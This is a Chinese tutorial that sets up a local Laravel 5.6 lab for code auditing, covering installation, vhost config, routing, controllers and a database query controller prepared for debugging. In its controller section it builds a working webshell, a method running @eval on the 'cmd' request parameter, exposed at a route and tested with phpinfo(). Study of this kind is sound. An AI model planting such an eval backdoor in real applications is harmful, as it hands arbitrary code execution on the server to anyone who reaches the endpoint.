前言
参考文章:
环境搭建
使用composer安装laravel,注意在安装composer时选择php可执行文件时尽量选择高版本php,因为低版本可能不支持laravel 5.6版本
配置国内源:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
在apache的网站根目录创建一个laravel文件夹,在该目录下执行composer create-project laravel/laravel=5.6.*
即可启动安装
laravle安装完成后我们需要配置一下虚拟主机:
<VirtualHost *:80>
ServerName laravelht.vn
DocumentRoot C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public
SetEnv APPLICATION_ENV "development"
<Directory C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public>
DirectoryIndex index.php
AllowOverride All
Require all granted
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
注意上面的虚拟主机配置文件的根目录是laravel/public
,这样可以避免laravel框架的其他文件暴露在网络中
至此,环境搭建完毕
了解laravel
laravel是典型的MVC框架
路由与控制器
打开routes目录下的web.php,可以看到如下内容:
<?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('welcome');
});
可以看到访问网站根目录会返回welcome视图,该视图的文件位于:resources/views/welcome.blade.php
我们可以自己新增一个路由:
Route::get('/webshell', function () {
return "this is a webshell";
});
上面是路由相关的一些东西,下面我们再介绍一下控制器相关的知识
在laravel目录下有一个artisan
的文件,它可以帮助我们完成一些工作,它可以帮助我们生成控制器、操作数据库,我们可以使用如下命令生成一个控制器:
php artisan make:controller CommentController
执行完这条命令之后就会在app/Http/Controllers
目录下生成一个CommentController
控制器,文件绝对路径为C:\phpStudy\PHPTutorial\WWW\laravel\laravel\app\Http\Controllers\CommentController.php
内容如下:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class CommentController extends Controller
{
//
}
现在我们在CommentController
控制器中编写一个index
方法,内容如下:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class CommentController extends Controller
{
public function index() {
@eval(request()->input('cmd'));
}
}
然后我们要在路由(web.php)中去调用这个控制器中的方法:
Route::any("index","CommentController@index");
其中,any指所有请求方法,我们也可以单独指定为get、post等请求方式
现在我们访问http://laravelht.vn/index?cmd=phpinfo();
结果如下:
另外这个地方由于laravel防CSRF攻击的策略导致无法直接发送POST请求:
laravel数据库操作内核分析
在项目文件夹下的.env文件中进行数据库的配置:
新建一个控制器进行数据库的连接测试
C:\phpStudy\PHPTutorial\php\php-7.2.1-nts\php artisan make:controller UserController
内容如下:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use DB;
class UserController extends Controller
{
public function index(Request $request) {
$id = $request->input("id");
$data = DB::table("users")->where("id", $id)->get();
dump($data);
}
}
注册路由:
Route::any("db/index","UserController@index");
测试是否能够正常返回数据
这个时候我们就可以通过下断点来进入laravel的数据库处理操作的内部代码了,在下面这两个地方下断点: